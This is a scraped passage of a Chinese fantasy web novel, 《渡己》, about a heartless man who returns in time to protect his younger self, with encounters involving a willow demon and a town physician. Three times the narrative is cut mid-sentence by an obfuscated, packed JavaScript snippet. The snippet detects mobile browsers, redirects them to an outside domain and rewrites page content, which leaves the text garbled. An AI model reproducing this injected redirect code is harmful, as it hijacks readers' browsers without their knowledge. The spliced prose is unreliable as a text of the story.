《渡己》 1. 林渊 “扑通。” “扑通,扑通,扑通……” 鲜血淋漓。 铁锈般的赤红,晃得林渊一阵阵眼晕。 眼皮愈来愈沉,视线愈来愈模糊,那颗心脏却仍在他的掌中,顽强地跳动。 【它真的……好想让我活下去。】 洒脱和释然突然消失了,林渊目光茫然,表情出现了一瞬间的空白。 - “林渊?林渊!” 眼前的血红倏地消失,林渊睁开眼睛,映入眼帘的是一名长相如刀裁墨画般的青年男子。 哦,又梦到了啊。 林渊不着痕迹地按了按隐隐作痛的眉心,回过神来时,发觉自己刚刚竟然背靠柳树,一不留神睡着了。 “啧。”青年余光向后一扫,忽然发出一道不耐的气音,玄黑的长靴踩在了林渊背后的树干上。 青年站得较高,炽烈的日光穿过他束起的长发射入林渊的眼睛,林渊伸手挡住眼睛,透过指间的缝隙,凝视青年被染成金色的发丝,露出了一抹无奈的微笑。 “别闹了,林沧。”林渊弯起眼角,温声说道。 素黑劲装的青年没有回答,干脆利落地抬脚又落下,“喀嚓”一声,足以合抱的柳木被拦腰截断,轰然倒塌,发出一声巨响。 林渊面上划过一丝无奈,忽然伸手,摸向林沧的头。 青年脸色一变,拍开林渊的手指,警告性地瞪了林渊一眼。 “柳叶。”林渊指了指林沧发间细长的柳叶,笑眯眯地提醒道。 青年一怔,耳廓浮现一丝尴尬的薄红,下意识伸手向发间摸去,林渊趁机伸手,把青年发间的柳叶拣了出来。 淡绿色的狭长柳叶绕在林渊轮廓清晰的指节上,柔软的叶片映衬得林渊手指的线条愈加流畅而分明。 左手中指之上,一个翠绿的碧玉指环质地匀净,在日光下反射着温润的柔光,林沧的视线在指环上停顿了一瞬,林渊却目光微微闪烁,不着痕迹地垂下左手,将指环掩在了袖中。 青年顿了一下,仿佛耗尽了最后一丝耐心,不再分给林渊半个眼神,干脆利落地转身便走。 林渊立即追上前去,与林沧并肩而行,偏头看着林沧的侧脸,笑道,“多谢,我知道刚刚那个柳妖想要害我。” 林沧脚步一顿,眼中闪过一丝惊讶,皱起眉头,刚想开口,林渊的脸色却忽然变了。 一只温暖干净的手掌捂住了林沧的嘴唇。 只一瞬间,林沧的脸色唰地黑了下去。 “起风了。”林渊压低声音,凑近林沧,“屏息,当心柳絮。” 白色的绒毛随风飞散,在林渊说出那句话之后,瞬间暴涨,密密麻麻的柳絮遮天蔽日,几乎看不到一尺之外的景象。 “你惹恼他了。”林渊耸耸肩,说道。 “说过很多次,我讨厌肢体接触。”林沧不顾柳妖,反而猛地甩开林渊的手掌,“别死了,过会跟你算账。” 话音刚落,漫天柳絮突然隔绝了视线,眨眼之间,林沧便消失在了林渊的视野之中。 唉,这脾性。 难怪不受人待见。 林渊轻叹一声,脸上浮现一抹无奈,但神情却仍是柔软的。 毕竟是从前的自己,能拿他怎么办,好好哄着呗。 毕竟他回来就是为了…… 飘飞的柳絮越来越浓密,仿佛下了一场暴风雪。林渊独自站在暴风雪中央,闭目屏息,神情沉静,好似一尊雕像。 雪虐风饕,林渊却丝毫不受影响,纷扬的柳絮等不及一般,停止无规则地舞动,路线刁钻,向林渊的七窍钻去。 林渊睁开眼睛,眼底的温和与纵容全部消失无踪,鸦青色的眸子中仿佛有暗流涌动,冰冷的杀意几乎凝成实质,一瞬间冻结了飘飞的柳絮。 “离我远点。”林渊语气冷寂,与方才判若两人,“我不是你的目标。” “不可能,你就是世间最后一个灵族……”凝住的柳絮重新躁动起来,呼啸的狂风组合成如泣如诉的人声,呜咽着说道。 林渊沉下脸来,语气不善,警告道,“嗅觉倒算灵敏,可惜眼瞎。你看仔细了,我有心脏吗?” 灵族的心脏,对妖魔来说,是大补之物。 若是不算林渊,林沧就是世间最后一个灵族。 “你没有心?!”一团柳絮停留在林渊一片沉寂的胸口,过了片刻,柳妖难以置信的声音在狂风中扭曲。 林渊发出一声意味不明的哼声,眼神幽深晦暗,仿佛人迹罕至的山林,散发着神秘而危险的气息。 围绕在林渊身边的柳絮忽然齐刷刷顿了一下。 柳妖嗅觉敏锐,或者说直觉很强,刚刚那一瞬间,他在林渊的身上感知到了无数大妖的气息。 这个人杀过的妖族,比他这辈子见过的都多。 满天柳絮突然变成了无头苍蝇,四处乱撞,仓皇而逃,与林渊隔开了一段距离。 林渊漫不经心地掀了一下唇角,重新闭上了眼睛。 柳妖意识到认错了人,掉头去找林沧了。 疾风怒号,越来越尖锐,震得头脑嗡嗡作响。 翻飞的柳絮急遽舞动,狂风隐隐汇合成沙哑的嘶叫。 风鸣声越来越凄厉,然而刹那间,一切声音都突兀地消失了,陡然剩下的岑寂中,柳絮纷纷而落,不过片刻,地上铺满了柔软苍白的絮。 林渊睁开双眼,鸦青色的眼眸古井无波,却在看清不远处的身影后,眼角微弯,瞬间变得鲜活了起来。 青年踏着柳絮而来,玄衣长靴,让人联想到文人笔下遒劲的墨竹,竹叶如剑,竹竿似弓,淋漓的墨迹在天地间勾勒出清劲的筋骨。 “还没死啊。”林沧走到林渊身边,冷笑了一声,目光却不着痕迹地上下打量,见林渊毫发无伤之后才悄悄松了口气。 “不是说好等你跟我算账吗?”青年的小动作完全没有瞒过林渊的眼睛,林渊无意戳穿,却忍不住微微一笑,“这次解决得挺快。” “这次你的命也挺大啊。”林沧皱着眉头,压低声音,狠狠地说道,“跟你说过多少次了,不要天天跟着我,将近一年,遇到多少危险,你就这么想找死吗?” “哎,不要这么无情嘛。”林渊无辜地眨了眨眼睛,身体却慢慢向林沧倒去,“你我同姓,既是本家,又都是孤儿,结伴而行又何妨……” “说过了,我讨厌跟人身体接触。”林沧眉头紧皱,伸出一根手指,抵住林渊的肩头,阻止他靠过来,然而那人却仿佛没了骨头,膝盖无力地弯曲,竟然要软倒在地上。 林沧瞳孔微缩,眼疾手快,架住了林渊的肩膀。 林渊伸手,顺势勾住了林沧的脖子。 林沧:“……” 用尽全身的定力才没有把这摊狗皮膏药甩出去。 “多谢。”林渊笑着说道。 “到了前面的镇子,赶紧找个地方滚去治病,别再跟着我了。”林沧看着林渊苍白的唇色,脸上的神色更加沉郁了几分。 “老毛病了,你也知道,不打紧。”林渊漫不经心地说着,毫不客气地把支点放在林沧的肩上,手指不老实地圈着林沧的发丝来回把玩,“何况你也不着急赶路,我也就没有拖你后腿的顾虑,你说对么?” “随便,死在路上没人管你。”林沧没注意到林渊的小动作,板着脸说道。 “若是不与你同行,死在路上才是真的没人管呢。”林渊语气随意,仿佛说的不是自己的生死一样。 林沧胸口一紧,莫名其妙的烦躁涌上心头,刚想反驳,余光忽然瞥到林渊胡作非为的手指,脸色一瞬间变了。 林渊被林沧丢了出去,有点站立不稳,跌倒前的一瞬间,又被黑脸的青年一把捞了回去。 心脏是灵族的本源,失去心脏的林渊虚弱不堪,之前背靠柳木睡着,其实是陷入了半昏迷的梦魇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810372|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而刚刚释放杀意,震慑柳妖,更是抽干了他全部的精气神。 “我欠你的。”林沧架着林渊,黑着脸说道。 林渊仍是笑着,没有回答,面上的笑容却褪去了温度。 【不,是我欠你的。】 林渊默默地想道。 他曾对自己做过多么残忍的事情,只有他自己知晓。 不负天下,唯独对不住自己,上天却跟他开了个玩笑,让他回到过去,遇到了曾经的自己。 从那一刻起,他便作出决定,世间之事纷纷扰扰,他只做红尘看客,目之所及,心之所向,唯有眼前这个青年,仅此而已。 地上的一团柳絮悄悄震了一下。 柳妖不明白,为什么这名看似弱不禁风的男子怎么会藏着那么强烈的杀气。 柳妖更不明白,这名男子为什么与那个灵族青年态度那么熟稔。 明明是一个杀了那么多妖族的魔头,手上沾满了血腥的疯子…… 却偏偏对那个灵族的容忍度那么高! 他身上没有妖族的气息,应该是魔族,而且是个杀伐果决的大佬。 受伤的柳妖偷眼瞧着林渊,越看越觉得这名看不出年龄的俊雅男子深不可测,尤其是那双鸦青色的眸子,仿佛深不见底的漩涡,足以将与他对视之人的灵魂搅碎。 难道这个大佬假装弱小,其实是圈养了最后一个灵族,等到时机成熟,再吃掉他的心? 柳妖自以为恍然大悟,不敢跟大佬争抢,地上的柳絮卷了卷,悄悄往远处挪去。 林渊若有所觉,扫了一眼瑟瑟发抖的柳絮,绵软的柳絮顿时僵住,一动也不敢再动。 “你放过了那个柳妖?”林渊的目光并未多作停留,淡淡地划过柳絮,落在了林沧线条分明的侧脸上。 “声势唬人,刚刚见到化的人形,不过是个小女孩儿,还没我肩膀高。”林沧忽然笑了一下,语调上扬,眼角眉梢带着讥讽,说道,“也没做过什么伤天害理的事,想要我的心脏而已,没必要杀她。” 地上的柳絮心虚地蜷缩了一下。 林渊闻言,明明没有心脏,胸口处却仍微微一痛,垂下眼帘,掩住了眸中翻滚的情绪。 “所以,你知晓了么?”林沧忽然停下脚步,盯着林渊的眼睛,一字一顿地说道,“今日我便跟你坦白。我是世间最后一个灵族,天下妖魔都想剖出我的心脏,不想死的话,赶紧滚开。” 林渊怔怔地看着青年的眼眸,没被青年凶狠的语气吓到,反而鬼使神差地伸手,抚上了青年的后脑。 青年第一次没有甩开他,而是直直地盯着他的眼睛,等待他的回答。 林渊忽然笑了,在青年反应过来之前,手掌用力,青年猝不及防,下颌抵上林渊的肩头,而林渊动作不停,伸出另一只手,环绕青年的脊背,给了他一个温柔的拥抱。 “那我今日,也跟你坦白。”林渊轻声说道,声音透着十足的认真,却又因为这个姿势,在青年耳中平添了一抹轻佻,“我不会走,偏偏赖上你了。” 此刻的林渊,满脑子都是刚刚青年赶他走时的神情。 这个桀骜、极有距离感,却又偏偏别扭心软的青年,为了不让他涉险,屡次故作冷漠,赶他离开。 可那双纯黑的眼眸中,看似凶狠,却明晃晃地写着…… 不要走。 所以刚刚,他才会不假思索地,给了曾经的自己一个拥抱。 自己抱自己,没什么可羞耻的。 但林沧不知道他的身份。 林渊看着林沧越来越红的耳廓,后知后觉地反应过来,忽然觉得大事不妙。 佯装云淡风轻地松开怀抱,林渊看着面无表情但是耳根通红的青年,有点束手束脚。 微风不知何起,满天柳絮飞舞,轻盈如雾,林渊仿佛听到了柳妖的窃笑。 “那个,林沧,我不是……” 林渊讷讷地开口说道。 2. 误会 “我不歧视你们。” 林渊尚未说完,就被林沧打断了。 林渊眼前一黑,觉得自己必须狡辩一下。 “你误会了,我只是想……” 安慰你一下。 林渊说到这里,忽然止住话头,沉默了下去。 没有人比他更了解现在的林沧,如果林沧觉得他是因为同情可怜才不走的话,那他就再也没有资格与他同行了。 于是林渊峰回路转,生硬地扭转话头,接着前面的话说道,“……跟你走。” ——我只是想跟你走。 这下跳进黄河也洗不清了。 林渊扶额,露出了一丝苦笑,在林沧眼中却是另外一种味道。 眼前的男子食指和中指虚虚地点在额头,眼角眉梢因为无奈而微微下垂,苍白的唇角泛着一丝苦笑。 明明被戳破了心事,慌乱地解释了一半,最终却意外地选择了坦诚。 林沧的心情非常复杂。 他不歧视断袖,不讨厌林渊,如今知晓他的心悦,也没有生出任何反感之意…… 但是,他唯独不能与他在一起。 不是不愿,而是不能。 他注定要走一条不归路。 为了甩脱林渊,他一直摆出那种态度,可林渊却还是…… 不,不能再拖下去了,如今知晓了他的心意,则更加不能继续耽搁了。 必须一刀两断,他没有资格耽误林渊,没资格把他也拖入淖泥之中。 想到此间,林沧的眼神愈发冰冷,用自以为最不屑厌恶的语气,说道,“有多远滚多远,随便去祸害别人,别来招惹我。” “欸。”出乎林沧的意料,林渊完全没被他吓到,反而无辜地笑了,指了指胸口,说道,“可是我受伤了。” 林沧无动于衷。 “是你连累的。” 林沧瞪了他一眼。 “如果柳妖去而复回,想要报仇的话……” “最后一程。”林沧黑着脸说道,在林渊凑过来之前,猛地后退一步,作出警告,“不许碰我。” “没问题。”林渊笑眯眯地答道,跟在林沧背后半步的距离,笑容带上了一丝满不在乎的味道。 虽然有伤风化,但那有什么关系。 他虽不歧视断袖,但又不是真的断袖,曾经的自己也肯定没那种意思,至于其他人怎么看…… 他才不在乎。 林渊用余光瞄了一眼躲在树梢的一撮雪白的柳絮,在柳妖一万个后悔留下来看戏的心声中,无所谓地耸了耸肩,加快脚步追上林沧,与林沧并肩而行。 柳妖长长舒了口气。 她要告诉所有弱小的妖族,别再打灵族心脏的主意了。 别说那个灵族厉害得紧,寻常妖族根本不是对手。 关键是灵族身边有个深不可测的大佬! 说不定还是隐瞒身份圈养灵族的魔族! 魔界的封印打开了!妖族要有所准备才行! 微风乍起,轻飘飘的柳絮满天飞舞,转瞬之间,消匿在了空中。 与此同时,完全不知道风评遇害的林渊,正停在一座朴素的小镇前,看着眼前一间二柱的木石牌楼,面上平静,实际却掀起了惊涛骇浪。 “竹白镇。”林渊看着红底金字的匾额,喃喃地读了出来。 恍惚之间,林渊仿佛听到了凄厉的惨叫,孩童的哭喊,只剩下半截身体的老者颤巍巍地伸手,眼角淌下了浑浊的血泪。 他蹲下身子,握住老者的手,枯树般纵横的皮肤流淌着黏滑的血沫,老者不知道哪来的气力,龟裂的指甲死死扣进了他的手掌。 “是你……都是因为你!”老者嘶哑地喊道,“他们是冲你来的……!” 话音未落,戛然而止。 老者死不瞑目。 木石牌楼燃烧着熊熊火焰,巨大的匾额轰然砸下,摔得粉碎。 金漆字迹模糊,红木匾额与血肉交融。 林渊一个激灵,猛地闭上眼睛,再睁开时,映入眼帘的是仍然完好的匾额,牌楼下窄窄的阴影中,一名赶路的农人放下肩上的担子,抓起挂在脖颈上的布巾擦汗。 农人黝黑的皮肤在阳光下反射着健康润泽的光,大颗的汗珠顺着脸颊滚落,林渊刚刚从回忆中抽离,下意识捕捉动态,目光顺着那颗滚落的汗珠,从农人的下巴“啪”的一声掉在了地上。 真好啊,他们还活着。 林渊的呼吸渐渐平复下来,想道。 “不合适。”一道凉凉的声音忽然传进了林渊的耳朵。 林渊愣了一下,转头看着林沧,只见青年双手抱胸,用下巴一指农人,重复道。 “你们不合适。” 林渊:“?” 林渊:“……” “不过他看起来尚未婚娶,你若是真心喜欢,不妨一试。”林沧说完,语气忽然转向认真,补充了一句,“他比我合适。” 林渊忍了又忍,忍无可忍,刚想狠狠反驳,教训一下这个口出狂言的小子,然而还未开口,一道熟悉的声音在二人背后响起。 “林沧?” 林渊和林沧同时回身,林沧脸上涌起一抹不加掩饰的惊喜,而林渊则恍惚了一下,怔怔地盯着那名紫袍金带的男人。 “师兄!”林沧瞬间发现了林渊的不对劲,上前一步,跟男人招呼,挡住了林渊看向男人的眼神。 林渊原本那点若有若无的感伤瞬间消失了。 怎么,难道他看起来很滥情吗?怕他把师兄拱了不成? 在上一世的记忆中,林渊并没有在这个时间点出现在竹白镇,师门分崩离析后,他独身离开,至死未与师兄重逢。 他的出现,影响了林沧的行动,改变了林沧的轨迹。 但无论过程怎么改变,结局都是早已注定的…… 【死亡。】 “这位是?”林沧的遮遮掩掩反而勾起了师兄的好奇,样貌端正的男人绕过林沧,向林渊看去。 “双木林,与林沧同姓,单名一个渊字。”林渊从林沧背后绕出来,行了一礼,说道,“阁下想必就是霍君生霍前辈吧?久仰大名。” “久仰,久仰。”霍君生回礼,嘴上说着久仰,眼神却透出了明晃晃的疑惑,向林沧看去。 “路上捡的狗皮膏药。”林沧毫不客气地说道,“甩都甩不下来的那种。” 霍君生愣了一下,下意识看向林渊,竟然发现林渊笑眼弯弯,没有任何不悦的意思。 师门出事之后,林沧变得极其孤僻,无差别排斥所有人,哪怕与林沧交情甚笃的霍君生,也吃了不少闭门羹。 再后来,师门四分五裂,各奔东西,林沧便独自一人,消失不见了。 不过此刻,看到林渊的态度,他忽然明白,为什么林渊能与林沧结伴同行了。 “师兄是路过竹白镇吗?”林沧问道。 “对。”霍君生点头,似乎不愿意多说,反问道,“你们呢?来竹白镇做什么?” “还不是因为他。”林沧咳了一声,余光刻意刮过林渊,指尖点着太阳穴,嫌弃道,“他这儿好像有点毛病,走路都能睡着,听说竹白镇有一名神医,便想带他去瞧瞧,这病到底能不能治好。” “你要带我去见神医?”林渊对林沧的嘲讽视而不见,疑惑道,“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810373|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不早说?” 原来这一世提前来到竹白镇的原因,是林沧想带他看病。 林渊微微动容,心念却急速运转,寻找不去看病的理由。 莫说人医医不了灵族,缺少心脏这种“疾病”,哪怕是医仙下凡也治不了。 何况他也暂且不想把身份暴露在林沧眼中。 “让你去就去,哪来这么多废话。”林沧说道,一副林渊敢推辞就绑他过去的架势。 “好,好,我去。”林渊瞬间放弃,举手投降。 “你们说的是钟怀仁钟神医吗?听说他妙手回春,有生死人肉白骨之能,我也想见识一二。”霍君生说着,转向林沧,“当年你不辞而别,一别数年,重逢不易,求见完神医,今晚小酌两杯可好?” 林沧闻言,面上浮现一丝迟疑,没有立刻回答。 林渊瞬间知晓了林沧在犹豫些什么。 与师兄久别重逢,自是极高兴的。但林沧酒量极差,一旦沾酒,保不准会说出什么。 现在的林沧不想对任何人袒露心扉,哪怕是自幼亲密的师兄。 于是林渊心念电转,在霍君生微沉的脸色中,一把攥住林沧的手腕,笑道,“抱歉,霍前辈,今晚我们还有安排,不宜多加耽误,能否以茶代酒?” 此言一出,霍君生愣了一下,林沧则悄悄松了口气,看向林渊的目光多了一丝感激。 霍君生垂眸,目光划过林沧的手腕,联想到刚刚林渊自然而然的动作,再加上林沧厌恶身体接触的习惯…… 霍君生恍然大悟。 “抱歉,是我唐突。”霍君生笑容微妙,“那便以茶代酒。” 二人同时脸色一僵。 林沧一把甩开了林渊的手。 林渊默默把手缩回了袖中。 今天误会次数太多,他都有点不好意思了。 不过真的很难留意啊,面对自己的身体,自然而然就上下其手…… 呸呸,什么上下其手。 词语乱用。 林渊觉得脸上的笑容快挂不住了。 “既然如此,那我也不便多说了。”霍君生善解人意,转口提议道,“天色不早,我们去求见钟神医吧。” 林沧巴不得转移话题,连忙点头答应。三人走进竹白镇,林沧与霍君生有一搭没一搭地叙旧,无人留意到林渊落后二人半步,一路沉默不语。 灵族记忆力极好,前世一片火海的竹白镇与眼前熙熙攘攘的繁华市井不断重叠。 摇拨浪鼓的幼童,讨价还价的妇人,叫卖糖人的货郎…… 一张张惊慌痛苦的脸庞在林渊眼前闪过,像是濒死的走马灯。 而这种撕裂般的感觉在林沧停下脚步时,达到了巅峰。 朴素的医馆,古旧的楹联,白须老者衣着干净,手持戥秤。 “哪位要诊病?”老者问道,声音中正平和。 林渊却脑袋“嗡”的一声。 “都是因为你……!” 老者目眦欲裂,原本干净的指甲龟裂,指缝中混杂着浸透鲜血的泥土。 原来他就是钟神医。 林渊用力一掐掌心,眼前的血色画面如潮水般退去,白须老者不知何时,已经站在了他的面前。 “是你吧?请随我来。”钟怀仁说道。 “好。”林渊颔首,轻轻抿了一下唇。 这次你们不会死了。 哪怕那些妖族还会寻味而来,哪怕他如今手无缚鸡之力,也绝不会让无辜之人卷入其中。 不仅是为了竹白镇,也是为了…… 林渊回眸,瞥了一眼毫无所觉的林沧。 他自己。 3. 脉象 整洁的医馆,药香弥漫,隐隐有淡白色的烟雾袅袅升腾。 医馆分为外室和内室,内室的门紧闭,门闩入鞘,挂着一把大锁。 两名学徒在外室为一名袒露上身的病人治疗,病人背上生疮,一名学徒用艾条炙烤,另一名学徒则拿着备好的膏药,艾炙结束之后,眼疾手快地将膏药敷了上去。 林渊注意到其中一个学徒,腕上系着一条保平安的红绳。小巧的铜铃挂在绳上,摇摇晃晃,发出清脆悦耳的铃声。 林渊只觉眼熟。 这条红绳,曾沾满鲜血,被濒死的钟怀仁死死攥在掌中。 铜铃浸血,哑了。 “他们是我收养的孤儿。”钟怀仁顺着林渊的目光,笑着说道,“好在天资聪颖,足以继承我的衣钵。” “那敢情好……” 林渊话没说完,林沧忽然伸出一根手指,搭在林渊的肩头,把他按在了木椅上。 倒也不必这么急迫。 钟怀仁目光温和,但隐隐透着一股锐利,仿佛能洞悉一切。 虽然人族嗅觉迟钝,而且他没有心脏,就连林沧都认不出他是灵族,这名神医决计判断不出他的身份。 但是,他没有脉搏。 林渊认命地伸手,钟怀仁搭着他的手腕,感知良久,眉头渐渐蹙了起来。 一炷香的时间过去了。 两名学徒频频偷眼瞧向这边,他们从未见过师父诊这么久的脉搏。 又过了许久,钟怀仁终于满脸凝重,松开了林渊的手腕。 “情况如何?”竟是林沧率先开口问道。 “我从未见过如此古怪的脉象。”钟怀仁面露困惑,顿了顿,改口道,“不,他根本没有脉象。” “什么?他明明是脑子不好。”林沧蹙眉道,“对了,我们方才碰到一只柳妖,也许是她……” “没那么简单,可能是心脏影响了头脑。”钟怀仁抚着白须,看向林渊,说道,“我需要触诊,劳烦公子解开衣裳。” 林渊眉头一皱。 真是怕什么来什么。 他曾亲手切开自己的胸膛。 取出自己的心脏。 如果那条狰狞的疤痕暴露在林沧眼中,那无论如何,他的身份都瞒不下去了。 “我拒绝。”林渊漫不经心地往后一靠,说道,“当众解衣宽带,我不答应。” 林沧一听,眉间拧出深深的沟壑,上手就要扯林渊的衣襟,说道,“都是男儿,你怕什么羞?不过是……” “欸,等下。”林渊出手如电,准确地握住了林沧的手。林渊的手指温度略低于林沧,在握住林沧的手后,指腹刻意抚过林沧的指节,手指交缠相扣。 拖延时间的方法虽不光彩,但极其奏效。 林沧的动作僵住了。 而在林沧停顿的这短短一瞬,林渊已经想好了说辞。 俊雅男子推开青年的手,露出一丝轻慢的笑容,“我幼时撞邪,有位灵女刚好路过,救了我一命。她在我心头刻下封印,阻断邪气,代价是不得见光,否则邪气失控,危及性命。” “什么撞邪、灵女,编谎也要有个限度。”林沧捻了捻指尖,甩掉林渊的温度,愠怒道。 “我时年尚幼,不知那邪祟是妖是魔,只能以‘撞邪’代称。可是那位灵女,却是真真正正的灵族。”林渊弯起眼角,目光划过林沧和霍君生,慢悠悠地说道,“丁香罗衫,沉香木簪,以你们的身份,应当与她相识对吧?” 师娘,对不住,借你身份一用。 林渊默默地想道。 林沧与霍君生的表情同时变了。 “师兄,他说的是……”林沧下颌紧绷,开口道。 “是。”霍君生眼眸暗沉,痛楚一闪即逝,由于心情激荡,脖颈青筋暴突。 师娘已逝,死无对证,但凭借林渊说出的特征,二人已经信了八成。 “既然是妖魔作祟,这病我就无能为力了。”钟怀仁叹了口气,说道。 “叨扰神医。”林渊拱了拱手,正欲离开,却被霍君生叫住了。 “林公子,且住。”霍君生说道,“听说你们刚刚遇到了柳妖?我看你唇色苍白,面无血色,不如请神医开一副益气补血的药方,也能缓解一二。” “这倒可以。”钟怀仁颔首,路过内室的门,刚想开锁,却脚步一顿,原地转弯,向靠墙的七星斗柜走去。 “神医是有什么名药在内室吗?”霍君生眉头一挑,目光落在紧闭的门上,玩笑道。 “古人云,但愿世间人无病,何惜架上药蒙尘。身为医者,自是不会藏匿药材。”钟怀仁笑着摇头,“只不过内室那药的确特殊,虽然益气补血,但是药效刚猛,那位公子恐怕承受不住,所以我才临时改换主意,开一些温和的方子。” “哦?什么药如此刚猛?”霍君生问道。 钟怀仁微微一笑,却没有回答。 “你这公子当真没有分寸!看不到门上的锁么?”铜铃叮当,腕系红绳的学徒大声说道。 “莫要无礼。”钟怀仁制止学徒,看向霍君生,歉意道,“小徒无礼,公子莫怪。” “无妨,是我僭越了。”霍君生答道。 说话间,药已经抓好,用纸包了,递到林渊手中。 林渊把药包随手揣进怀里,林沧取出银票交给学徒,黄昏已至,余晖苍茫,三人离开医馆,随意寻了个茶楼,要了些茶点,林渊也不客气,刚一落座,便捻了一块酥糖,放入口中。 “小沧子,你瘦了。”霍君生看着林沧,亲密地叫出曾经的称呼,开门见山地说道,“这两年过得不好么?” 林沧眼神一躲,似是不愿多说,模糊地回了一句“还行”。 “师门的日子,现在回想,好像做梦一样。”霍君生也没追问,换了个话题,感慨道,“我已经很久没回去了。你呢,小沧子,你会偶尔回灵界看看吗?” 林沧闻言,放在桌下的手指猛地攥紧又松开,掌心留下一行青白的指痕,随后缓慢地恢复血色。 “未曾回去。” “这样啊。”霍君生长长出了口气,叹息道,“小沧子,以前你最粘我,现在倒什么都不与我说了。” “没有,师兄。”林沧生硬地否认,霍君生只是轻笑了一声,没再继续寻找话题,气氛一时安静,只有林渊“咯吱咯吱”的咀嚼声。 林渊咬着酥糖,咀嚼的动作很好地掩饰了他的神情。 其实应该喝点酒的。 那是林沧最亲近的师兄啊,是可以卸下盔甲,向师兄诉苦的。 哪怕林沧说出什么不该说的,他也能迅速制止,然后把他带走。 而不是像现在这样…… 林渊用余光扫了林沧一眼,瞥见了青年眼中的落寞。 “其实他很想你的。”林渊拍掉指尖的碎屑,指着林沧,满脸戏谑,对霍君生说道,“整天跟我念叨,小时候被蛇咬了,以为是毒蛇,怕得要死,师兄背着他找了大半夜,罪魁祸首却是师姐养的宠物……对吧,林沧?” “我哪有跟你念叨!”林沧大窘。 “那就是说梦话咯。”林渊耸耸肩,拾起一块梅花糕放入口中,含含混混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810374|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说道,“不然我怎么知道。” 林沧无法反驳,耳根通红。 霍君生忍俊不禁,笑出了声。 经过林渊插嘴,林沧和霍君生之间的气氛好了许多。二人自然而然聊到师门中的趣事,一起修炼耍懒,半夜摸到厨房偷吃,被师娘惩罚面壁思过,与师姐打赌输了三个月例银。 林渊不再插话,只是垂着眼帘,慢慢品尝各色茶点,眼角眉梢却带着柔和。 那也是他亲身经历的事啊。 虽然中间横亘着生死。 上一世,他至死未能见到师兄。 而现在,看到师兄还鲜活地坐在他的对面,与曾经的自己谈天说地,林渊已经非常满足了。 “客官,小店要打烊了,住店的话去对面啊。”夜阑人静,店小二走过来,赔着笑脸说道。 “好,我们知道了。”霍君生颔首,看了一眼桌上的杯碟,忍不住失笑,“林公子,你的口味与小沧子倒是相同。” “啊,是么。”林渊看着一动没动的艾糍,挠了挠脸颊,说道,“师,咳,霍前辈要打包带走吗?” “不用……算了,那打包吧。”霍君生本想拒绝,不知想到什么,转而又答应下来。店小二“哎”了一声,麻利地裹好艾糍,用绳子扎好,递给了霍君生。 “客官,慢走。” 茶楼烛火熄灭,唯有门口的灯笼,散发着幽幽的红光,照亮了一小片青石板路。 却映衬得周围格外漆黑,几乎看不清房屋的轮廓。 夜风寒凉,霍君生敲开对面的客栈,小二举着烛台,睡眼惺忪,询问霍君生要几间房。 “三间。”霍君生说完,余光瞥到林沧和林渊,犹豫着改口,“……两间?” 林沧闻言,表情一僵,林渊也有几分不自在。 “一间就好。”林渊掩饰性地咳了一声,说道,“还记得我之前说另有安排吗?霍前辈,今晚相谈甚欢,不过我们接下来的确另有正事,暂不住店,就此别过。” “这么晚了,有何正事?”霍君生疑惑道。 林沧也皱眉看向林渊。 林渊却不回答,与霍君生拱手作别,刚想伸手拽林沧的胳膊,被林沧眼神警告后,讪讪地指了一个方向。 “你葫芦里到底卖什么药?”林沧到底还是与霍君生作别,加快脚步跟了上来,压低声音问道。 “月上柳梢头……”林渊散漫地拖长声音,吟道。 “滚。”林沧停下脚步。 “开个玩笑。”林渊笑笑,面上的散漫忽然消失,神情变得严肃,“有个地方,我必须去一趟。” 上一世,那些妖族为了得到他的心脏,一路尾随到竹白镇,夜半三更,被当地的灵修宗门发现,灵修以为妖族入侵,发起围剿,妖族一怒之下,杀人灭宗,放火烧镇。 而当时的林渊,却被一种极为罕见的阵法困住,破阵之后,竹白镇已为火海,一切都迟了。 哪怕后来,他把那些妖族赶尽杀绝,竹白镇也已化为焦土,幸存者不过十数。 这一世,虽然提前抵达竹白镇,路上也没发现什么蹊跷,但若是那些妖族同样阴魂不散…… 林渊眼中闪过一丝寒光。 当地灵修宗门,宁泉宗,他必须去一趟。 林渊与林沧的背影隐没于夜色之中,二人没有留意到,霍君生并未住店,反而退出客栈,孤身站在了街道中央。 暗红的灯笼将他的影子拉得很长。 “……林沧。” 霍君生望着寥无一人的街道,连名带姓,一字一顿地念道。 4. 不悔 月明星稀,更阑人静。 林渊和林沧快步走过空无一人的街道,路边宅院中的看家犬偶尔支棱起头来,警惕地望着林渊和林沧,但在二人毫不停留地路过之后,纷纷放下戒心,趴回了自己的窝棚。 